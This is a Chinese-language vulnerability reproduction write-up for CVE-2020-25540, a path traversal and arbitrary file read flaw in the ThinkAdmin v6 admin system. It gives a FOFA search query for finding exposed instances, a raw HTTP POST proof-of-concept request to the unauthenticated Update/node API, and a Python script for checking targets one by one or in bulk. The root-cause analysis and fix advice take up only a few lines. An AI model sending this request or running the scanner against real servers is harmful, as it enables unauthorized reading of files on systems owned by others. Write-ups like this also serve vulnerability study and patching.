# CVE-2020-25540 ThinkAdmin 任意文件读取

# 漏洞简介

ThinkAdmin 是一套基于 ThinkPHP 框架的通用后台管理系统 ,ThinkAdmin6 版本存在路径遍历漏洞。该漏洞主要是因为 api 中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。

# 资产收集

FOFA:

1
app="ThinkAdmin"

# 漏洞复现

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_lang=zh-cn; PHPSESSID=ba4d233a6abc8a5a999e9a1d0917634c
Upgrade-Insecure-Requests: 1
Content-Length: 21
Content-Type: application/x-www-form-urlencoded

rules=%5B%22%2F%22%5D

image-20210327152052029

自写的垃圾检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import urllib3

url = input("url >>> ")
try:
data = {"rules":"[\"/\"]"}
requests.packages.urllib3.disable_warnings()
res = requests.post(url+'/admin.html?s=admin/api.Update/node',data=data,verify=False,timeout=6).text
if '/404.html' in res:
print('{} 存在漏洞!!!!!'.format(url))
# print (res)
else:
print('{} 安全!'.format(url))
except:
print('{} 无法访问!'.format(url))

批量检测如下:

image-20210327152630270

# 漏洞分析

源码:https://github.com/zoujingli/ThinkAdmin/blob/v6/app/admin/controller/api/Update.php

image-20210327152145918

Update.php 中的函数方法未授权执行,可直接调用,导致漏洞产生

# 漏洞修复

升级版本